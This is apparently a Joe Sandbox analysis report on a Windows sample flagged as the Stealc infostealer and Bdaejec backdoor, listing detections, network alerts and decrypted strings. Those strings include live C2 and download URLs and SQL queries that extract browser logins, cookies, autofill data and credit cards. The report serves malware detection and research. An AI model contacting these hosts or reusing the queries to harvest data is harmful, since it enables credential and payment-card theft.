Edit tour

Windows Analysis Report
7Y18r(193).exe

Overview

General Information

Sample name:	7Y18r(193).exe
Analysis ID:	1482727
MD5:	3a085e2c496b3d2020401c3452b57aef
SHA1:	09754968722731fb208ddbebcc6c6a7cc9d42c7b
SHA256:	ba12343f978332fa8c76a99e384a9052b0f9ecc1bcf24bd25552832af77a03ef
Tags:	exeWormRamnit
Infos:

Detection

Bdaejec, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Bdaejec

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

Sample uses string decryption to hide its real strings

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

7Y18r(193).exe (PID: 7472 cmdline: "C:\Users\user\Desktop\7Y18r(193).exe" MD5: 3A085E2C496B3D2020401C3452B57AEF)

WuiXLS.exe (PID: 7496 cmdline: C:\Users\user\AppData\Local\Temp\WuiXLS.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

WerFault.exe (PID: 7724 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7496 -s 1488 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7832 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7472 -s 528 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://bernardofata.icu/40d570f44e84a454.php"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc_2	Yara detected Stealc	Joe Security
00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.1457369500.0000000002430000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc_2	Yara detected Stealc	Joe Security
00000000.00000002.1511687586.00000000008E2000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x3d49:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc_2	Yara detected Stealc	Joe Security
Process Memory Space: 7Y18r(193).exe PID: 7472	JoeSecurity_Stealc_2	Yara detected Stealc	Joe Security
Process Memory Space: WuiXLS.exe PID: 7496	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.7Y18r(193).exe.2430000.0.raw.unpack	JoeSecurity_Stealc_2	Yara detected Stealc	Joe Security
0.2.7Y18r(193).exe.890e67.1.raw.unpack	JoeSecurity_Stealc_2	Yara detected Stealc	Joe Security
0.2.7Y18r(193).exe.400000.0.raw.unpack	JoeSecurity_Stealc_2	Yara detected Stealc	Joe Security
0.2.7Y18r(193).exe.400000.0.unpack	JoeSecurity_Stealc_2	Yara detected Stealc	Joe Security
0.2.7Y18r(193).exe.890e67.1.unpack	JoeSecurity_Stealc_2	Yara detected Stealc	Joe Security
0.2.7Y18r(193).exe.890e67.1.unpack	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x536e2:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0.3.7Y18r(193).exe.2430000.0.unpack	JoeSecurity_Stealc_2	Yara detected Stealc	Joe Security
Click to see the 2 entries

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.8

Timestamp:	2024-07-26T02:51:47.771172+0200
SID:	2022930
Source Port:	443
Destination Port:	49712
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.8 - Destination IP: 44.221.84.105

Timestamp:	2024-07-26T02:51:33.974086+0200
SID:	2807908
Source Port:	49705
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.8

Timestamp:	2024-07-26T02:52:25.910942+0200
SID:	2022930
Source Port:	443
Destination Port:	51996
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.8 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:51:31.550495+0200
SID:	2838522
Source Port:	54441
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.8 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:51:30.550429+0200
SID:	2838522
Source Port:	54441
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.8 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:51:33.550629+0200
SID:	2838522
Source Port:	54441
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.8 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:51:29.552802+0200
SID:	2838522
Source Port:	54441
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 7Y18r(193).exe

Avira: detected

Antivirus detection for URL or domain

Source: http://ddos.dnsnb8.net/	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar	URL Reputation: Label: malware
Source: http://bernardofata.icu/40d570f44e84a454.php	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rarq	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rarp	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rarH	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rarn.=	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Program Files\7-Zip\Uninstall.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Avira: detection malicious, Label: TR/Dldr.Small.Z.haljq

Found malware configuration

Source: 00000000.00000003.1457369500.0000000002430000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://bernardofata.icu/40d570f44e84a454.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

ReversingLabs: Detection: 92%

Multi AV Scanner detection for submitted file

Source: 7Y18r(193).exe	ReversingLabs: Detection: 95%
Source: 7Y18r(193).exe	Virustotal: Detection: 93%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files\7-Zip\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 7Y18r(193).exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetProcAddress
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: LoadLibraryA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: lstrcatA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: OpenEventA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CreateEventA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CloseHandle
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Sleep
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: VirtualFree
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetSystemInfo
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: VirtualAlloc
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: HeapAlloc
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetComputerNameA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: lstrcpyA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetProcessHeap
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: lstrlenA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: ExitProcess
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetSystemTime
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: advapi32.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: gdi32.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: user32.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: crypt32.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: ntdll.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetUserNameA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CreateDCA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: ReleaseDC
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: sscanf
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: VMwareVMware
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: HAL9TH
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: JohnDoe
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: DISPLAY
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: http://bernardofata.icu
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: /40d570f44e84a454.php
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: /2a7743b8bbd7e4a7/
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: default
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GlobalLock
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: HeapFree
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetFileSize
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GlobalSize
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: IsWow64Process
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Process32Next
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetLocalTime
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: FreeLibrary
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Process32First
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: DeleteFileA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: FindNextFileA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: LocalFree
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: FindClose
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: LocalAlloc
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: ReadFile
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SetFilePointer
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: WriteFile
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CreateFileA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: FindFirstFileA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CopyFileA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: VirtualProtect
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetLastError
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: lstrcpynA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GlobalFree
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GlobalAlloc
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: OpenProcess
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: TerminateProcess
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: gdiplus.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: ole32.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: bcrypt.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: wininet.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: shlwapi.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: shell32.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: psapi.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SelectObject
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: BitBlt
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: DeleteObject
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GdiplusStartup
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GdipFree
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CoUninitialize
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CoInitialize
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CoCreateInstance
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetWindowRect
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetDC
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CloseWindow
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: wsprintfA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CharToOemW
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: wsprintfW
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: RegCloseKey
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: RegEnumValueA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: InternetConnectA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: InternetOpenA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: InternetReadFile
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: StrCmpCA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: StrStrA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: StrCmpCW
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: PathMatchSpecA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: RmStartSession
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: RmRegisterResources
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: RmGetList
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: RmEndSession
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: sqlite3_open
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: sqlite3_step
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: sqlite3_column_text
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: sqlite3_finalize
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: sqlite3_close
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: sqlite3_column_blob
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: encrypted_key
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: PATH
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: NSS_Init
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: NSS_Shutdown
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: PK11_FreeSlot
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: PK11_Authenticate
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: C:\ProgramData\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: browser:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: profile:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: url:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: login:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: password:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Opera
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: OperaGX
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Network
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: cookies
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: .txt
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: TRUE
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: FALSE
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: autofill
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: history
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: name:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: month:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: year:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: card:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Cookies
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Login Data
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Web Data
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: History
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: logins.json
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: formSubmitURL
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: usernameField
